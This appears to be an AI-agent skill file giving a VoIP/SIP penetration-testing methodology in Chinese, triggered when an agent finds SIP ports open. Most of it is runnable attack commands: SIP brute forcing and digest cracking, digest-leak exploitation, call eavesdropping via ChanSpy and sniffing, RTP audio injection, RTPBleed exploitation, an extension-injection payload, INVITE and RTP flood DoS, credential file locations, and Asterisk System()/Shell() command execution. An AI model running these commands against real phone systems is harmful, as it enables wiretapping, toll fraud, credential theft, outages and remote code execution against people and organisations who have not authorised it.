voip-pentesting

$npx mdskill add wgpsec/AboutSecurity/voip-pentesting

Execute VoIP/SIP penetration tests to secure voice infrastructure.

  • Identify vulnerabilities in PBX systems and voice communication protocols.
  • Integrates with SIP scanners, Asterisk tools, and network sniffers.
  • Decides actions based on detected open ports and protocol weaknesses.
  • Delivers detailed attack vectors and remediation steps for security teams.
SKILL.md
.github/skills/voip-pentestingView on GitHub ↗
---
name: voip-pentesting
description: |
  VoIP/SIP 服务渗透测试方法论。涵盖 SIP 服务发现与枚举、SIP 认证攻击、通话劫持与窃听、SRTP 降级攻击、SIP 注册劫持、DoS 攻击、SRTP/ZRTP 安全分析。
  当 Agent 扫描发现 SIP 端口 (5060/5061) 开放、需要测试 VoIP 基础设施安全、枚举 SIP 分机、或评估通话安全性时,触发此 Skill。
metadata:
  tags:
    - voip
    - sip
    - rtp
    - 语音通信
    - 通话劫持
    - sipvicious
  category: exploit/network-service
---

# VoIP/SIP 渗透测试方法论

## 深入参考

- SIP 协议详解、SIPVicious 工具链、RTP 注入/窃听、Asterisk 配置审计 -> 读 [references/voip-techniques.md](references/voip-techniques.md)

---

## 整体决策树

```
VoIP 基础设施渗透测试
├─ Phase 1: 服务发现
│   ├─ SIP 端口扫描 (5060 UDP/TCP, 5061 TLS)
│   ├─ svmap / SIPPTS scan / Nmap -> SIP 设备发现
│   ├─ PBX 附属服务 (TFTP/HTTP/MySQL/LDAP)
│   └─ Google Dorks -> 暴露的 VoIP 管理界面
├─ Phase 2: SIP 枚举
│   ├─ 方法枚举 (OPTIONS / SIPPTS enumerate)
│   ├─ 分机枚举 (svwar / SIPPTS exten)
│   ├─ 响应头分析 -> 指纹识别
│   └─ 电话号码 OSINT
├─ Phase 3: 认证攻击
│   ├─ 在线密码爆破 (svcrack / SIPPTS rcrack)
│   ├─ 离线摘要破解 (sipdump + sipcrack)
│   ├─ SIP Digest Leak 漏洞利用
│   └─ 默认凭据
├─ Phase 4: 通话劫持与窃听
│   ├─ 网络嗅探 (Wireshark / ucsniff)
│   ├─ ARP 欺骗 -> MitM -> RTP 捕获
│   ├─ ChanSpy / ExtenSpy (Asterisk 监听)
│   ├─ RTP 注入 (rtpinsertsound / rtpmixsound)
│   └─ DTMF 码提取 (voicemail 密码)
├─ Phase 5: 安全协议分析
│   ├─ TLS 使用 -> SIP 通信加密
│   ├─ SRTP 使用 -> RTP 通信加密
│   ├─ ZRTP 使用 -> 端到端加密
│   └─ 未加密 -> 完全可嗅探
├─ Phase 6: 已知漏洞与攻击
│   ├─ RTCPBleed (RTP 代理 NAT 绕过)
│   ├─ Asterisk 配置错误 (免费拨号)
│   ├─ 分机注入
│   ├─ Click2Call 滥用
│   └─ OS/固件漏洞 (FreePBX / Elastix)
└─ DoS 攻击
    ├─ SIP INVITE Flood
    ├─ RTP Flood
    └─ IAX Flood
```

---

## Phase 1: 服务发现

### 1.1 网络扫描

```bash
# Nmap SIP 方法扫描
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24

# svmap (SIPVicious) — SIP 设备发现
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
# --fp: 指纹识别
# 注意: 默认 User-Agent 为 "friendly-scanner",容易被阻断

# SIPPTS scan — 高速 SIP 扫描 (UDP/TCP/TLS)
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

# Metasploit
use auxiliary/scanner/sip/options_tcp     # TCP
use auxiliary/scanner/sip/options         # UDP
```

### 1.2 附属服务检查

```
PBX 可能暴露的服务
├─ 69/UDP (TFTP) -> 固件更新文件
├─ 80/443 (HTTP/HTTPS) -> Web 管理界面
├─ 389 (LDAP) -> 用户信息
├─ 3306 (MySQL) -> 数据库
├─ 5038 (Asterisk Manager) -> 管理接口
├─ 5222 (XMPP) -> 即时消息
└─ 5432 (PostgreSQL) -> 数据库
```

### 1.3 Google Dorks

```bash
# Grandstream 设备
intitle:"Grandstream Device Configuration" Password

# Cisco CallManager
inurl:"ccmuser/logon.asp"

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle:"FreePBX"
```

---

## Phase 2: SIP 枚举

### 2.1 方法枚举

```bash
# SIPPTS enumerate — 发现 PBX 支持的 SIP 方法
sippts enumerate -i 10.10.0.10

# 自定义消息发送与响应分析
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

# WebSocket SIP
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```

### 2.2 分机枚举

```bash
# svwar (SIPVicious) — SIP 分机枚举
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER

# SIPPTS exten — 大范围分机扫描
sippts exten -i 10.10.0.10 -r 5060 -e 100-200

# Metasploit
use auxiliary/scanner/sip/enumerator_tcp  # TCP
use auxiliary/scanner/sip/enumerator      # UDP

# enumiax — IAX 协议用户名枚举
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10
```

---

## Phase 3: 认证攻击

### 3.1 在线密码爆破

```bash
# svcrack (SIPVicious)
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080
svcrack -u100 -r1-9999 -z4 10.0.0.1   # 分机范围检查

# SIPPTS rcrack — 多用户/多 IP 密码破解
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```

> **注意**: 用户名可能与分机号相同,也可能不同,取决于 PBX 配置。

### 3.2 离线摘要破解

```bash
# 从 pcap 提取 SIP 摘要认证
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt

# SIPPTS dump + dcrack
sippts dump -f capture.pcap -o data.txt
sippts dcrack -f data.txt -w wordlist/rockyou.txt

# SIPPTS tshark — 从 pcap 提取 SIP 数据
sippts tshark -f capture.pcap [-filter auth]
```

### 3.3 SIP Digest Leak 漏洞

利用 SIP 电话固有的漏洞,诱使其泄露摘要认证响应:

```bash
# SIPPTS leak — 自动利用 SIP Digest Leak
sippts leak -i 10.10.0.10
```

攻击流程:
1. 攻击者发送 INVITE 到目标电话
2. 目标振铃 -> 有人接听后挂断
3. 目标发送 BYE
4. 攻击者回复 407 要求认证
5. 目标在第二个 BYE 中发送摘要认证
6. 离线破解摘要

---

## Phase 4: 通话劫持与窃听

### 4.1 网络嗅探

```bash
# 前提: 位于同一网络 / 可进行 ARP 欺骗
# 工具: Wireshark, tcpdump, ucsniff

# ucsniff — 专为 VoIP 设计的嗅探工具
ucsniff -i eth0
```

**加密检查**:
- SIP 使用 TLS -> 无法看到 SIP 通信明文
- 使用 SRTP/ZRTP -> RTP 数据包加密

### 4.2 Asterisk 监听功能

```bash
# ChanSpy — 监听所有通话
# 配置: exten => 333,1,ChanSpy('all',qb)
# 拨打 333 即开始监听,按 * 切换通话

# ExtenSpy — 监听指定分机
# 录制通话到文件
# [recorded-context]
# exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
# exten => _X.,2,MixMonitor(${NAME})
```

### 4.3 RTP 注入

```bash
# rtpinsertsound — 向通话注入音频
sudo apt install rtpinsertsound
rtpinsertsound <target_ip> <rtp_port> audio.wav

# rtpmixsound — 混合音频到通话
sudo apt install rtpmixsound

# DTMF 码提取 (语音信箱密码)
multimon -a DTMF -t wac pin.wav
```

---

## Phase 5: 安全协议分析

### 5.1 加密状态决策树

```
通信加密评估
├─ SIP 信令
│   ├─ 明文 (UDP/TCP 5060) -> 可嗅探所有信令
│   └─ TLS (5061) -> 信令加密
├─ RTP 媒体流
│   ├─ 明文 RTP -> 可捕获并播放通话
│   ├─ SRTP -> 媒体加密
│   └─ ZRTP -> 端到端加密
└─ 风险评估
    ├─ 全明文 -> 高风险 (完全可窃听)
    ├─ 仅 SIP TLS -> 中风险 (媒体仍可截获)
    └─ TLS + SRTP/ZRTP -> 低风险
```

---

## Phase 6: 已知漏洞与攻击

### 6.1 RTCPBleed

RTP 代理的 NAT 穿越学习模式缺乏认证,攻击者可发送 RTP 包劫持媒体流:

```bash
# 检测 RTP Bleed
sippts rtpbleed -i 10.10.0.10
sippts rtcpbleed -i 10.10.0.10

# 利用 RTP Bleed Flood
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v

# 注入音频
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```

### 6.2 Asterisk 配置错误

```
免费拨号风险评估
├─ type=friend + insecure=port,invite
│   └─ 任何人可连接并拨打外部号码
├─ allowguest=true (sip.conf 默认)
│   └─ 无认证用户可拨打
├─ 默认 context 包含外部拨号规则
│   └─ include => external (含 Dial(SIP/trunk/${EXTEN}))
└─ IVRS 分机长度未校验
    └─ 输入完整电话号码拨出
```

### 6.3 分机注入

```bash
# 旧版 Asterisk: ${EXTEN} 可注入
# 输入 101&SIP123123123 -> 同时拨打 101 和 123123123
# 通过绕过匹配的分机名注入外部号码
```

### 6.4 未授权 INVITE 检测

```bash
# SIPPTS invite — 检测未认证拨号
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v

# 呼叫转移
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```

---

## DoS 攻击

```bash
# SIP INVITE Flood
sippts flood -i 10.10.0.10 -m invite -v

# SIP Ping (响应时间测试)
sippts ping -i 10.10.0.10

# IAX Flood
iaxflood <target>

# INVITE Flood (独立工具)
inviteflood <interface> <target> <port>

# SIPp (SIP 流量生成器)
sipp -sf scenario.xml <target>:5060
```

---

## Asterisk 后渗透

### 配置文件与凭据

```
关键文件
├─ sip.conf -> SIP 用户密码
├─ extensions.conf -> 拨号计划
├─ manager.conf -> AMI 管理密码
├─ FreePBX:
│   ├─ amportal.conf -> Web 管理员密码
│   └─ FreePBX.conf -> 数据库密码
├─ Elastix:
│   └─ Elastix.conf -> MySQL root / IMAP / Web 管理密码 (明文)
└─ MySQL root 可能无密码
```

### RCE (获取配置写入权限后)

```bash
# Asterisk System() 命令
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

# Shell() 命令 (替代 System)
same => n,Shell(command)
```
More from wgpsec/AboutSecurity